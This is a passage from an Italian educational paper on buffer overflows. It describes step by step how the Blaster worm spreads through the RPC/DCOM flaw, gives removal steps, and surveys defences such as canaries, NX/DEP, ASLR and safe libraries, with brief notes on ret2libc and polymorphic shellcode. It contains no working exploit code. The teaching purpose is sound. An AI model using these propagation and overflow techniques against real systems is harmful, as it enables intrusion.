attraverso un exploit che invia all’oggetto DCOM un messaggio non corretto e costruito in un certo
modo, così si avrebbe un buffer overflow che gli permetterebbe di avere controllo completo sulla
macchina e di eseguire quindi qualsiasi cosa. Per poter fare ciò, il malintenzionato deve utilizzare
una tra le porte aperte per RPC, tra cui 135, 139, 445 e 593.
Il worm fu creato pochi giorni dopo l’apparizione in rete di questo bollettino e la sua rapida
diffusione dimostra che, nonostante gli avvertimenti di Microsoft e di numerosi altri siti e la patch
disponibile, pochi sono corsi ai ripari.
L’eseguibile del worm è il file msblast.exe di 6176 byte (quindi velocissimo da scaricare per
qualsiasi computer con qualsiasi connessione), capace di sfruttare la suddetta falla. Partendo da un
computer A già contaminato, il worm invia ad altri computer dati mediante i quali effettuerà
l’attacco. Il tutto si svolge in diverse fasi:
1) Attesa: A deve prima controllare di essere connesso ad Internet, quindi entra in un ciclo
infinito, aspettando il valore di ritorno della funzione InternetGetConnectedState(). Se
l’esito è positivo, il programma è sicuro di essere connesso ad Internet, quindi può passare
alla fase 2.
16
17. 2) Generazione indirizzi IP: il programma genera gli indirizzi IP dei computer a cui lanciare
il contagio. Per trovare le macchine adatte (non tutte sono vulnerabili alla suddetta falla, o
perché hanno installato la patch, oppure perché utilizzano un firewall o un sistema operativo
diverso da quelli indicati) deve effettuare una scansione di un certo range di indirizzi IP,
cominciando da un indirizzo IP nella forma X.Y.Z.W, che viene scelto secondo la seguente
procedura: viene rilevato l’indirizzo IP di A e si sceglie in modo random un valore tra 1 e
20; se il valore è compreso tra 1 e 12, viene utilizzato l’indirizzo IP di A come base per la
ricerca, impostando W a 0 e decrementando Z di 20 se Z > 20; se invece il valore è
compreso tra 13 e 20, X andrà da 1 a 254, Y e Z da 0 a 253, D sarà sempre a 0. Il
programma scandisce 20 host per volta, trovando macchine vulnerabili, tra cui supponiamo
ci sia un ipotetico B.
3) Attacco al RPC: utilizzando la porta TCP 135, A invia pacchetti formulati in modo errato
(ma costruiti ad hoc per ottenere l’effetto nefasto) al servizio RPC/DCOM di B che, essendo
affetto dalla falla, non effettua controlli sulla lunghezza di essi. Risultato: buffer overflow!!!
4) Controllo del contagio: attraverso la porta 135, A controlla se B è già infetto chiamando la
funzione GetLastError() che controlla appunto se è già presente su B l’eseguibile del worm
o meno. In caso affermativo, Blaster chiama la funzione ExitProcess() e termina, perché se
il computer è già infetto, non c’è bisogno di fare nulla. In caso negativo, A attiva i socket
per comunicare con B (mediante la funzione WSAStartup()) e per la comunicazione TFTP
necessaria per il contagio (mediante la funzione GetModuleFileName()).
5) La shell CMD.EXE: A questo punto, A ha già assunto il controllo di B, quindi lancia sulla
macchina da infettare la shell tramite il comando cmd.exe, necessaria ad A per far eseguire a
B dei comandi. I due host comunicano mediante la porta TCP 4444.
6) Download del worm: tramite la shell lanciata nella fase precedente, B invia comandi in
remoto per riconnettersi ad A, che rimane in ascolto sulla porta UDP 69, aspettando una
richiesta di copia del worm. B richiede ad A l’eseguibile msblast.exe, che scarica nella
cartella %systemroot%/system32 (cartella di sistema) attraverso il protocollo TFTP. Il file
appena scaricato viene lanciato.
7) Aggiornamento delle Registry Keys: utilizzando la shell lanciata nella fase 5, A apporta
delle modifiche ad alcune Registry Keys di B ed inserisce nella directory
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun il valore
“windows auto update” = “msblast.exe” in modo che il worm venga eseguito ad ogni avvio
del pc. A questo punto A termina il suo compito, B è ormai infetto ed esegue lo stesso ciclo
che ha eseguito A, cercando altri computer da infettare.
Tramite il sistema che abbiamo appena visto, Blaster è riuscito ad espandersi a macchia d’olio. Ma,
come abbiamo detto, il vero scopo è quello di colpire Microsoft mediante un attacco di tipo DDoS
da parte dei vari computer infetti, ottenuto sovraccaricando la porta 80 del sito windowsupdate.com
con pacchetti SYN e HTTP, questi ultimi lunghi 40 byte e trasmessi ogni 50 secondi. L’attacco
proprio a questo sito serve anche per impedire ai computer infetti di scaricare la patch necessaria
per rimediare alla vulnerabilità. Inoltre, il worm è stato progettato per effettuare questo tipo di
attacco in determinati momenti:
• ogni giorno, nel caso di mesi compresi tra Settembre e Dicembre.
• dal 16 del mese in poi, per gli altri mesi (ecco perché, essendo stato creato nel mese di
Agosto, l’attacco era previsto per il 16).
Blaster, inoltre, deve essere eseguito su un sistema con:
• Windows XP infettato o riavviato durante la routine nociva
• Windows 2000 infettato durante la routine nociva e che non è stato riavviato dopo
l’infezione
• Windows 2000 riavviato dopo l’infezione, durante la routine nociva, e dove l’utente è
attualmente registrato
I sintomi che permettono di accorgersi della presenza di Blaster sul proprio sistema sono:
17
18. • Prestazioni della macchina sensibilmente ridotte
• Continui riavvii, dovuti al fatto che l’interfaccia RPC accetta i pacchetti formulati in modo
errato, ma non riesce a trattarli, dunque va in crash o si riavvia (vedi figura).
• Se si analizza il traffico di pacchetti sulle porte TCP 135 e 4444 e sulla porta UDP 69, ci si
accorgerà che qualcosa non va…
In ogni caso, basta lanciare un antivirus con le firme aggiornate ed effettuare la scansione del
sistema per riconoscere ed eliminare il virus. In caso di esito negativo, si può tentare con una
rimozione mediante tool specifici che si trovano in rete, rilasciati per esempio da Symantec o
McAfee, oppure si può tentare una rimozione manuale seguendo i seguenti passaggi:
1) Chiudere il processo attivo msblast.exe dal Task Manager
2) Eliminare il file msblast.exe che si trova in %systemroot%system32
3) Eliminare il valore “windows auto update = msblast.exe” dalla registry key
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun, cosa
possibile utilizzando l’editor di registro Regedit, fornito da Windows.
4) Eliminare dalla cartella Esecuzione Automatica (Startup nella versione inglese) presente nel
menu Start un file chiamato TFTP o simile, responsabile del messaggio di errore che appare
all’avvio del computer
5) Riavviare il computer
6) Scaricare ed installare la patch dal sito Windows Update
7) Svuotare il Cestino ed eliminare i punti di ripristino in System Restore, che potrebbero far
tornare il worm
Ad oggi, sono state catalogate alcune varianti di Blaster:
• LOVESAN.A: è il worm originale
• LOVESAN.B: attraverso un dropper scarica da un sito due file e li copia in
%systemroot%system32. I due file sono Root32.exe (backdoor) e teekids.exe (codice del
worm). Inoltre aggiunge il riferimento ai due file nella registry key
HKEY_LOCAL_MACHINE SOFTWAREMicrosoftWindowsCurrentVersionRun.
• LOVESAN.C: il nome del file del worm è stato cambiato in penis32.exe
• LOVESAN.F: il nome del file del worm è stato cambiato in enbiei.exe e l’obiettivo del
DDoS non è più il sito Windows Update , ma il sito tuiasi.ro, che è inesistente, quindi
vanifica l’attacco. Al registro di Windows è aggiunta la chiave HKEY_LOCAL_MACHINE
SOFTWAREMicrosoftWindowsCurrentVersionRunwww.hidro.4t.com. Contiene un
messaggio nascosto: “Nu datzi la fuckultatea de Hidrotehnica!!! Pierdetzi timp ul
degeaba...Birsan te cheama pensia!!! Ma pis pe diploma!!!!!!”, che tradotto in inglese
corrisponde al seguente messaggio: “Don't go to the Hydrotechnics faculty!!! You are
wasting time...Barsan, the retirement wants you!!!”.
18
19. 8. Difesa contro i Buffer Overflow e… nuovi attacchi
Come abbiamo avuto modo di notare, i BOF sono un problema tutt’altro che semplice da risolvere,
in quanto le sue molteplici varianti non consentono di trovare una soluzione unica e definitiva.
Comunque, fin da quando è stata chiara la reale minaccia rappresentata dai BOF, si è cercato di
arginare per quanto possibile il problema. Diverse sono state le soluzioni trovate e diverse sono
state le tecniche da parte dei creatori di exploit per cercare di eluderle. Cerchiamo di analizzare le
più importanti e note di queste soluzioni, vedendo anche come è possibile bypassarle.
8.1 Difesa: Scelta del linguaggio di programmazione da utilizzare
Sebbene non si tratti di una vera e propria soluzione, è bene conoscere le differenze tra i vari
linguaggi di programmazione nel trattamento dei tipi di dato inerenti ai BOF, cioè array e stringhe.
Infatti, la scelta del linguaggio di programmazione può avere un effetto significativo
sull’apparizione di BOF.
Buona parte dei software, compreso il sistema operativo Unix, sono scritti in C e C++, che non
forniscono la giusta protezione contro l’accesso e la sovrascrittura dei dati in memoria (attraverso i
puntatori è possibile praticamente spostarsi e scrivere in memoria pressoché dovunque) e contro la
scrittura in un array al di fuori dei suoi confini (è il problema principale che causa il buffer
overflow). Alcune variazioni del C (ad esempio Cyclone e D) usano svariate tecniche per impedire
o limitare alcuni usi scorretti dei puntatori.
Altri linguaggi di programmazione forniscono controlli a runtime che possono inviare warning o
generare eccezioni quando si tenta di sovrascrivere dati (es. Java, Python, Ada, Lisp, Smalltalk,
ecc.). Quasi ogni tipo di linguaggio “type safe” o interpretato offre protezione contro i buffer
overflow, segnalando un errore ben definito.
8.2 Difesa: scrivere codice corretto
Sarebbe una soluzione a tutti i problemi sia di BOF, che di exploit in generale…se solo fosse
attuabile. Purtroppo rimane semplicemente un’utopia, perché errare è umano, quindi quando si
programma è inevitabile che si commettano errori o leggerezze che poi possono portare a delle vere
e proprie falle di sicurezza. Inoltre, l’uso di librerie esterne permette spesso di svolgere grosso del
lavoro, offrendo un approccio al problema da risolvere più semplice e meno dettagliato, ma spesso
nasconde altri errori causati involontariamente da terzi. I software finora sviluppati e l’enorme
numero di patch presenti per alcuni di essi lo conferma. Tuttavia, è possibile seguire delle semplici
norme che, se da un lato non risolvono il problema, dall’altro possono cercare di migliorare la
situazione, rendendo magari la vita più difficile all’hacker di turno. Ad esempio, senza scomodare
(almeno per ora) soluzioni esterne, è bene sostituire strcpy con strncpy, strcat con strncat, gets con
fgets e sprintf con snprintf. Ovviamente si tratta solo di un primo rudimentale livello di sicurezza,
vediamo adesso altre soluzioni più complesse.
8.3 Difesa: Attenzione ai programmi SUID
SUID sta per “Set-User-ID” e indica quei programmi che vanno in esecuzione con privilegi di root,
chiunque sia ad eseguirli. Alcuni di questi sono necessari per effettuare operazioni comuni,
altrimenti possibili solo all’utente root, altri però non lo sono affatto, ma possono rappresentare un
problema, dato che possono essere sfruttati da un malintenzionato attraverso un buffer overflow, al
termine del quale si troverà con privilegi di root e quindi avrà il controllo della macchina. Dunque,
il consiglio è quello di verificare che sul sistema non ci siano troppi programmi di questo tipo,
magari normalizzando quelli che non si utilizzano mai.
19
20. 8.4 Difesa: Uso di librerie “safe”
I buffer overflow sono così comuni perché il linguaggio di programmazione utilizzato è a volte
poco sicuro. Ad esempio, il linguaggio C non controlla automaticamente che i confini degli array
siano rispettati, né che i puntatori siano utilizzati in modo corretto, si tratta di controlli che spettano
all’utente. Ma anche le librerie standard (libC) presenti all’interno di esso e che vengono
costantemente utilizzate per operazioni come I/O, manipolazione di stringhe, ecc. sono poco sicure.
Un esempio di funzioni insicure:
gets(): utilizzata per inserire in un buffer una stringa presa dall’esterno (standard input). È la
funzione non sicura per eccellenza, in quanto non effettua controlli di nessun tipo, quindi
inserendo anche solo un carattere in più della lunghezza del buffer, il buffer overflow è
assicurato.
strcpy() e strcat(): utilizzate rispettivamente per copiare una stringa all’interno di un’altra e
per concatenare due stringhe. Il problema sta nel fatto che non vengono fatti controlli sulla
dimensione della stringa di destinazione, quindi il buffer overflow è in agguato. Le versioni
strncpy() e strncat(), utilizzate per copiare/concatenare solo alcuni caratteri della stringa
sorgente, sono più sicure.
Format functions (es. printf(), sprintf(), fprintf(), ecc.): si tratta di funzioni che prendono
come parametro un certo numero di argomenti che rappresentano tipi di dato primitivi di C,
che poi vengono stampati sotto forma di stringa in modo che l’utente possa comprenderli.
Questi parametri sono salvati sullo stack per valore o per riferimento. A questo punto la
funzione analizza la stringa presa in input, leggendo un carattere alla volta. Se non trova il
simbolo “%”, allora il carattere è copiato direttamente in output, altrimenti controlla il
carattere dopo “%”, che indica il tipo di dato da stampare e va a prendere quest’ultimo sullo
stack. Da notare che la funzione sprintf() copia una stringa in un’altra, ma mentre la
destinazione è un buffer di dimensioni fisse, la sorgente non lo è, dunque si possono avere
gli stessi problemi di buffer overflow presenti in strcpy(). Comunque, i veri problemi si
hanno se, per ignoranza o dimenticanza, oppure volontariamente, non si forniscono alla
funzione i formati dei tipi di dato da stampare. È possibile utilizzare ad esempio %s e %x
per leggere dati dallo stack o da altre locazioni di memoria e %n per scriverci sopra. Questo
tipo di vulnerabilità è stato sottovalutato fino al 1999, finchè non cominciarono a comparire
i primi exploit che dimostrarono il contrario e che diedero origine a un nuovo filone di
studio, chiamato “Format String vulnerabilities”.
scanf(): è utilizzata per inserire in una variabile un dato fornito in input. Può anche inserire
una stringa in un array di caratteri già creato e di dimensioni fisse. È proprio qui che nasce il
problema: la funzione non effettua alcun controllo, dunque è possibile inserire una stringa di
dimensioni maggiori dello spazio del buffer, causando inevitabilmente un buffer overflow.
Per ovviare al problema di queste funzioni non sicure, il cui uso può portare a vere e proprie falle di
sicurezza, sono state quindi create delle librerie di tipo “safe”, cioè librerie ben scritte e testate che
vanno a sostituire quelle classiche (in C libC) e si occupano di effettuare automaticamente la
gestione dei buffer e il controllo dei confini, specialmente laddove i BOF si presentano, cioè
stringhe e array. L’uso di queste librerie effettivamente può essere utile per ridurre i BOF, ma da
solo non basta ad arginare un fenomeno così vasto: sono infatti molti i BOF che riescono a
“passare” lo stesso. Alcune librerie di questo tipo sono:
Libsafe: si tratta di una libreria dinamica caricata in memoria prima delle altre, che effettua
l’overriding di alcune delle funzioni di libC. In particolare, Libsafe intercetta le chiamate a
queste funzioni e usa invece la propria implementazione di queste funzioni. Dunque la
semantica utilizzata è sempre la stessa, ma Libsafe aggiunge il controllo dei confini per evitare
Buffer Overflow. Le funzioni sovrascritte sono quelle meno sicure, cioè strcpy, strcat, getwd,
gets, scanf, realpath e sprintf. A titolo esemplificativo, notare il confronto tra la funzione strcpy
di libC e quella di Libsafe:
20
21. char * strcpy(char * dest,const char *src) {
char *tmp = dest;
while ((*dest++ = *src++) != '0')
/* nothing */;
return tmp;
}
Come si nota facilmente, nessun controllo è effettuato per verificare se la stringa di destinazione
è più piccola di quella su cui copiarla. Vediamo adesso l’implementazione di Libsafe:
char *strcpy(char *dest, const char *src) {
...
if ((len = strnlen(src, max_size)) == max_size)
_libsafe_die("Overflow caused by strcpy()");
real_memcpy(dest, src, len + 1);
return dest;
}
Senza entrare nei dettagli implementativi, è facile notare il controllo effettuato sulla lunghezza
della stringa da copiare.
Un problema di Libsafe è che non fornisce alcuna protezione per gli eseguibili prodotti da
compilatori che non scrivono il frame pointer sullo stack o che non scrivono l’indirizzo di
ritorno immediatamente dopo il frame pointer. Per maggiori informazioni
http://www.research.avayalabs.com/project/libsafe.html
The Better String Library: è un’astrazione di un tipo stringa che è decisamente migliore
dell’implementazione presente in C (array di char) e a quella di C++ (std::string), delle quali si
propone come completo rimpiazzamento. Tra le funzionalità più importanti, oltre alla maggiore
facilità di manipolazione delle stringhe, alle maggiori performance e alla portabilità, è
annoverata anche la sensibile diminuzione dei problemi di buffer overflow. Per maggiori
informazioni http://bstring.sourceforge.net/
Arri Buffer API: fornisce un’interfaccia per creare, scrivere, copiare, duplicare, cancellare e
deallocare array. Contiene anche API per manipolare le stringhe, utilizzare i socket, utilizzare
l’I/O e funzioni di alto livello per C, che permettono, tra le altre cose, di ridurre il problema dei
BOF. Per maggiori informazioni https://gna.org/projects/arri/
Vstr: si tratta di una libreria che fornisce un’implementazione di stringa diversa da quella a cui
il C ci ha abituati. Infatti, la stringa non è più vista come qualcosa a cui si può accedere
attraverso un puntatore di tipo char, ma come un contenitore formato da più blocchi. Attraverso
le funzioni readv() e writev() è possibile rispettivamente leggere e scrivere sulla stringa senza
bisogno di occuparsi di allocare o spostare memoria. Anche questa libreria fornisce un valido
aiuto per l’eliminazione dei buffer overflow. Per maggiori informazioni
http://www.and.org/vstr/
Funzione strlcpy: è nata per rimpiazzare le funzioni di C strcpy e strncpy, alle quali assomiglia
molto, dato che è dichiarata nel seguente modo:
size_t strlcpy(char * destination, const char * source, size_t size);
Offre due caratteristiche che possono essere d’aiuto agli sviluppatori: una stringa non vuota
copiata da strlcpy è sempre terminata con nul, rendendo più semplice trovare la fine della
stringa; inoltre la funzione prende in input anche la lunghezza della stringa, permettendo di
evitare il BOF quando la stringa di origine è più grande di quella di destinazione.
Esiste anche la funzione strlcat, che va a sostituire la funzione di C strcat.
21
22. 8.5 Difesa: Protezione contro lo “stack smashing”
Lo scopo di questo tipo di protezione è quello di evitare i più comuni buffer overflow analizzando
lo stack al ritorno da una funzione, per verificare se è stato modificato o meno. In caso positivo, il
programma esce con una “segmentation fault”.
Questo obiettivo è generalmente raggiunto modificando l’organizzazione dei dati nello stack di una
funzione, in modo da includere un “canary”, cioè un valore noto sistemato tra un buffer e i dati di
controllo. In caso di buffer overflow, il canary viene sovrascritto, dunque al ritorno dalla funzione è
subito scovato ed è possibile correre ai ripari. Esistono diversi tipi di canary:
Terminator (o hard-to-insert) canaries: nascono dall’osservazione che la maggior parte
dei BOF sono basati su operazioni che terminano con i terminatori, dunque sono formati da
un Null byte, un carriage return(0x0D), un line feed(0x0A) e un EOF nella rappresentazione
libC (0xFF). Il difetto è che sono conosciuti fin dall’inizio, dunque un attaccante potrebbe
sovrascrivere sia il canary che le informazioni di controllo (portando così a compimento il
BOF) e poi utilizzare un overflow più piccolo per risistemare il canary e passare dunque
inosservato (fortunatamente i casi in cui è possibile effettuare un doppio overflow sono rari).
Random (o hard-to-spoof) canaries: sono generati in modo casuale, per ovviare ai
problemi dei terminator canaries. Quindi il canary inserito nello stack è generato
all’inizializzazione del programma e memorizzato in una variabile globale riempita di solito
da “unmapped pages”, in modo che qualsiasi trucco utilizzato per leggere il suo valore causi
una “segmentation fault”, terminando il programma. Comunque, il problema non viene del
tutto eliminato, in quanto è sempre possibile leggere il valore del canary dallo stack.
Random XOR canaries: si tratta di Random canaries, con la differenza che stavolta viene
effettuato lo XOR (operatore di confusione ideale secondo Shannon) tra il canary e
l’indirizzo di ritorno, in modo che se si modifica l’indirizzo di ritorno e poi si rimette a posto
il canary, il risultato dello XOR sarà comunque diverso perché l’indirizzo di ritorno è
cambiato. Nonostante questo, i Random XOR canaries complicano solo un po’ la vita a chi
attacca, ma non risolvono i problemi del tipo precedente.
Le implementazioni più famose della protezione contro lo “stack smashing” sono:
ProPolice (GCC Stack-Smashing Protector): si tratta di una patch per GCC 3.X, inclusa
poi in parte in GCC 4.1. E’ diventata standard in alcuni sistemi operativi Unix, fra cui la
distribuzione Gentoo Linux, anche se in essa non è abilitata di default. Alcune azioni portate
avanti da ProPolice riguardano il riordino delle variabili locali, che vengono sistemate dopo
i puntatori per evitare che l’overflow di un buffer corrompa un puntatore che si trova dopo
di esso. Supporta Terminator e Random canaries.
StackGuard: si tratta di un’altra estensione di GCC per proteggere lo stack in modo del
tutto trasparente all’utente. È nota soprattutto per avere introdotto i Random XOR canaries.
L’entusiasmo iniziale che riscosse questo progetto andò via via scemando, forse perché i
benchmark effettuati hanno dimostrato un sostanziale incremento nel costo di ogni chiamata
a funzione, tanto che la versione 2.0 annunciata dalla società Immunix è tuttora irreperibile.
StackGhost: rende i BOF più difficili da sfruttare utilizzando una caratteristica hardware
presente solo sull’architettura SPARC e SPARC64 per rilevare le modifiche agli indirizzi di
ritorno. Lavora in maniera del tutto trasparente all’utente e con un impatto sulle performance
< 1%, peccato si tratti di una tecnologia fortemente “hardware-based”.
Dunque queste soluzioni risolvono solo in parte il problema dei BOF, rendendoli solo più complessi
da sfruttare, ma non eliminandoli del tutto.
Una protezione più forte sarebbe quella di dividere in due parti lo stack, di cui una per i dati e l’altra
per gli indirizzi di ritorno, soluzione sfruttata dal linguaggio di programmazione Forth, che
comunque non risolve il problema, in quanto ci sono altri dati importanti a parte l’indirizzo di
ritorno che questa soluzione non protegge.
22
23. 8.6 Difesa: Protezione dello spazio eseguibile
Un’altra strada per prevenire i BOF è quella di proteggere lo spazio eseguibile, cosa che può essere
implementata sia a livello hardware che software. La protezione a livello hardware è una tecnologia
chiamata NX (No eXecute) bit, che si occupa di marcare una parte della memoria affinchè sia
utilizzata solo per i dati e non permetta quindi alle istruzioni del processore di risiedere in essa. In
pratica, questa parte della memoria diventa non eseguibile e non scrivibile. Questo aiuta a prevenire
diversi buffer overflow, in particolare quelli che applicano la code injection, tra i quali Sasser e
Blaster (di cui si parla ampiamente nel paragrafo 6). Il termine “NX bit” si riferisce al bit 63
(l’ultimo bit in un integer di 64 bit) nella entry della tabella di paginazione di un processore x86. Se
questo bit è settato a 0, il codice di quella pagina può essere eseguito, se invece è settato a 1, si tratta
solo di dati e non di istruzioni, dunque essi non possono essere eseguiti. Non si tratta certo di una
tecnologia nuova, dato che esisteva qualcosa del genere anche nei primi processori Intel 80286 e
nelle architetture SPARC, Alpha e PowerPC, ma è stata reimplementata in chiave moderna prima
da AMD (che chiamò “NX bit” la tecnologia) e poi da Intel (che per le solite strategie commerciali,
chiamò la tecnologia “XD bit”, dove XD sta per eXecute Disable) ed inserita all’interno di alcuni
dei loro processori, tra i quali quelli a 64 bit.
Per quanto riguarda la protezione a livello software, diverse tecnologie sono state sviluppate e
inserite all’interno di vari sistemi operativi. Vediamole più in dettaglio:
Data Execution Prevention (DEP): si tratta della tecnologia di casa Microsoft,
implementata per la prima volta in Windows XP Service Pack 2 e in Windows 2003 Server
Service Pack 1. Essa lavora in due modalità: hardware-enforced DEP (nel caso in cui il
processore supporta NX bit, che viene riconosciuta e attivata dal sistema operativo) e
software-enforced DEP (nel caso in cui il processore non supporta NX-bit, che quindi viene
in qualche modo emulata via software, di default solo per i servizi essenziali di Windows).
Processori supportati: AMD64, IA-64, Efficeon, EM64T, Pentium M (later revisions), AMD
Sempron (later revisions).
W^X: da pronunciare W XOR X, è la tecnologia implementata in OpenBSD, che supporta
NX bit nei processori Alpha, AMD64, HPPA e SPARC ed offre la sua emulazione nei
processori IA-32 (x86). Essa prevede che ciascuna pagina sia scrivibile o eseguibile, ma non
contemporaneamente (da qui il nome W XOR X, che sta per Write Xor eXecute): ciò causa
il fallimento di diversi stack overflow, perché anche se il codice viene iniettato nello stack
perché la memoria è scrivibile, il programma non può eseguirlo e si limita a terminare. Per
limitare la complessità, W^X non fa uso di NX bit, è semplicemente una tecnologia diversa.
PaX: si tratta di una patch per il kernel Linux per la protezione delle pagine di memoria.
L’idea alla base è quella di permettere ai programmi di fare solo ciò che devono fare per
poter eseguire correttamente, e nient’altro. PaX marca la parte dati della memoria come non
eseguibile e la parte del programma come non scrivibile. Inoltre implementa la “address
space layout randomization”, di cui parleremo più avanti. In sostanza PaX previene molti
BOF, in particolare rendendo inefficaci i code injection e rendendo indeterminati (basati
sulla fortuna di chi attacca) i return-to-libc. Può utilizzare NX bit se supportato dal
processore (Alpha, AMD64, IA-64, MIPS, PA-RISC, PowerPC e SPARC) o emularne le
funzionalità in caso contrario (ad esempio sui processori x86). Fa parte del progetto
Grsecurity ed è implementata in Hardened Gentoo, oltre che in Trusted Debian, il progetto
di Adamantix di una distribuzione sicura di Linux basata su Debian.
23
24. Mascotte di PAX
Exec Shield: come PaX, si tratta di una patch per il kernel Linux. È nata inizialmente per
emulare le funzionalità di NX bit sui processori a 32 bit x86, ma poi ha integrato il supporto
hardware per NX bit. Alla richiesta di inserirla nella prossima versione del kernel la risposta
fu negativa, in quanto Exec Shield introduceva diversi cambiamenti al codice. Come PaX
cerca di marcare la parte dati della memoria come non eseguibile e la parte del programma
come non scrivibile, evitando diversi BOF. Fornisce anche tecniche di “address space layout
randomization”, che vedremo più avanti. Exec Shield non richiede che i programmi siano
ricompilati per funzionare, ad eccezione di alcune applicazioni come wine ed emacs.
8.7 Nuovo attacco: gli attacchi di tipo “return-to-libc”
Lo scopo di questo tipo di attacchi (il cui nome è spesso abbreviato in ret2libc) è quello di chiamare
una funzione di libC al ritorno da una funzione, sovrascrivendo l’indirizzo di ritorno non con quello
della locazione di memoria dove si trova lo shellcode, bensì con quello di una funzione di libC,
spesso system(), magari passandogli come argomento qualcosa come /bin/sh (che ci dà una shell in
locale). In questo modo forziamo l’esecuzione di una funzione, senza bisogno di eseguire codice
che si trova nello stack o nello heap, aggirando quindi l’ostacolo rappresentato dalla protezione
dello spazio eseguibile. Invece possono essere ostacolati dalla protezione contro lo stack smashing
(dato che questi sistemi sono in grado di rilevare la corruzione dello stack) e dalla “address space
layout randomization”, che li rende molto difficili da eseguire.
8.8 Difesa: Address space layout randomization (ASLR)
È una tecnologia la cui idea di base è quella di organizzare alcune parti chiave della memoria di un
processo (ad esempio stack, heap, librerie e parti eseguibili) in maniera casuale nell’address space
di un processo. Ciò rende difficili alcuni tipi di attacco, in particolare quelli che sovrascrivono l’EIP
per puntare alla locazione dello shellcode opportunamente inserito e gli attacchi return-to-libc; ciò è
dovuto al fatto che diventa difficile per chi attacca conoscere l’indirizzo del codice da eseguire, dato
che essendo generato in modo random si sposta sempre all’interno della memoria e spesso l’unica
tecnica che si può applicare per individuarlo è il brute forcing.
Questa tecnologia è implementata da molti sistemi di sicurezza, per esempio PaX e Exec Shield.
8.9 Difesa: Deep Packet Inspection (DPI)
Questa tecnologia permette di esaminare i pacchetti che transitano in una rete, confrontandoli con le
informazioni a disposizione presenti in un database e riguardanti attacchi conosciuti. Ciò permette
di trovare gli eventuali pacchetti che portano le tracce di un buffer overflow o di un altro tipo di
attacco (ad esempio pacchetti con una lunga serie di istruzioni No-Operation, spesso utilizzati nei
buffer overflow) e di evitare che passino. Un pacchetto di questo tipo può essere bloccato, marcato,
rediretto, ecc. La DPI è utilizzata anche dalle compagnie telefoniche per conoscere i pacchetti che si
stanno ricevendo attraverso Internet. Il nome comincia con “deep” per indicare una verifica accurata
dei pacchetti, che va dal secondo al settimo livello del modello OSI, e per distinguerla dalla Shallow
24
25. Packet Inspection (anche detta Just Packet Inspection), che invece controlla solo l’header del
pacchetto. Si tratta di una tecnologia utile ma spesso poco efficace, in quanto può prevenire solo gli
attacchi conosciuti, senza contare che chi attacca si dà sempre da fare per inventare nuove armi,
come dimostrano i nuovi shellcode alfanumerici, polimorfici, metamorfici e auto modificanti.
8.10 Difesa: Intrusion Detection Systems (IDS)
Gli IDS sono utilizzati per riconoscere i pacchetti che transitano in rete e che mirano ad effettuare
manipolazioni sui sistemi. Essi agiscono là dove i firewall convenzionali non arrivano,
riconoscendo attacchi contro servizi vulnerabili, attacchi mirati alle applicazioni, attacchi utilizzati
per acquisire privilegi di root o per accedere ad informazioni riservate. Sono composti da diverse
parti, tra cui sensori, che si comportano da generatori di eventi, Console, che controlla i sensori ed
effettua il monitoraggio degli eventi e una Engine centrale che registra gli eventi in un database e
genera avvertimenti basati su un sistema di regole. Esistono diversi tipi di IDS, distinti in base al
tipo e alla locazione dei sensori e in base alla metodologia utilizzata dalla Engine per generare gli
avvertimenti.
8.11 Nuovo attacco: Shellcode alfanumerici, polimorfici, metamorfici e auto
modificanti
Si tratta della nuova frontiera raggiunta dagli shellcode, come risposta alle tecnologie via via
inventate per cercare di arginarli. Sono spesso tecniche utilizzate anche da alcuni virus per evitare di
essere scoperti e sono spesso molto simili tra loro. In particolare, i nuovi shellcode spesso sono:
Alfanumerici: sono shellcode scritti utilizzando esclusivamente codici alfanumerici, ad
esempio il codice ASCII, con l’obiettivo di indurre le applicazioni, ad esempio i Web forms,
ad accettare il codice utilizzato per gli exploit. Ovviamente bisogna conoscere bene il codice
macchina dell’architettura su cui effettuare l’attacco, tenendo conto che esso varia da
architettura ad architettura.
Polimorfici: si tratta di shellcode che variano lasciando però immutato l’algoritmo
originale. Questa tecnica, spesso utilizzata da alcuni virus, è utilizzata anche da alcuni
shellcode con l’obiettivo comune di nascondere la propria presenza, sapendo che spesso gli
Intrusion Detection Systems controllano i pacchetti che transitano in rete, cercando di
scoprire pacchetti che corrispondono a virus o exploit conosciuti. Uno strumento spesso
utilizzato dai creatori di shellcode polimorfici è la crittografia: il codice viene criptato, in
modo da non consentire agli IDS di riconoscerlo; tuttavia una piccola parte che contiene le
informazioni per decriptarlo deve rimanere non criptata, ed è proprio su quella che gli IDS
puntano per riconoscere lo shellcode. Per difendersi da essi, coloro che scrivono shellcode
polimorfici riscrivono questa piccola parte ogni volta che il worm viene propagato, ma gli
IDS rispondono effettuando una ricerca basata su pattern, in modo da riconoscere comunque
lo shellcode. Insomma, la battaglia non ha mai fine…
Metamorfici: si tratta di shellcode in grado di riprogrammare se stessi, assumendo
rappresentazioni che li fanno sembrare totalmente diversi da come ci si aspetta. Anche
questa è una tecnica utilizzata dai virus e serve per vanificare i controlli basati su pattern,
infatti si tratta di shellcode più pericolosi di quelli polimorfici.
Auto modificanti (self-modifying): gli shellcode di questo tipo non vogliono rivelare la
loro presenza e per ottenere ciò si servono spesso di codice polimorfico, tanto che gli
shellcode polimorfici spesso sono chiamati auto modificanti primitivi.
8.12 Conclusioni
Dopo aver esposto il problema ed averlo analizzato, bisognerebbe esporre la soluzione. In questo
caso però la soluzione non esiste…
25
26. Per quanto detto precedentemente, scrivere codice corretto è un’utopia, perché è facile sbagliare o
commettere una leggerezza o utilizzare codice di terzi che involontariamente contiene dei bug.
Anche se il codice è stato testato e sembra corretto sotto tutti i punti di vista, probabilmente arriverà
qualcuno che ha trovato una vulnerabilità che si può sfruttare per accedere al sistema, magari
utilizzando un buffer overflow.
Assodato dunque che scrivere codice completamente corretto è pressoché impossibile e dunque non
si può prevenire il problema, si è cercato allora di trovare dei buoni metodi per curarlo. Diverse
tecnologie sono state messe a punto a tal proposito, alcune delle quali molto sofisticate, che
lavorano su fronti diversi con l’obiettivo comune di infliggere un duro colpo ai buffer overflow.
Molte di queste funzionano egregiamente e addirittura è possibile combinarle tra loro per assicurare
una sicurezza maggiore, ma il problema è lungi dall’essere risolto. Se qualcuno lavora per produrre
armi che possano competere con le armi del nemico, il nemico non sta con le mani in mano e nello
stesso tempo lavora per migliorare le sue: ed ecco che ad un attacco corrisponde una difesa, seguita
da un nuovo attacco con relativa difesa, e così via. Insomma, ci sono tutte le basi per presupporre
che la battaglia non avrà mai fine…
26
27. Bibliografia
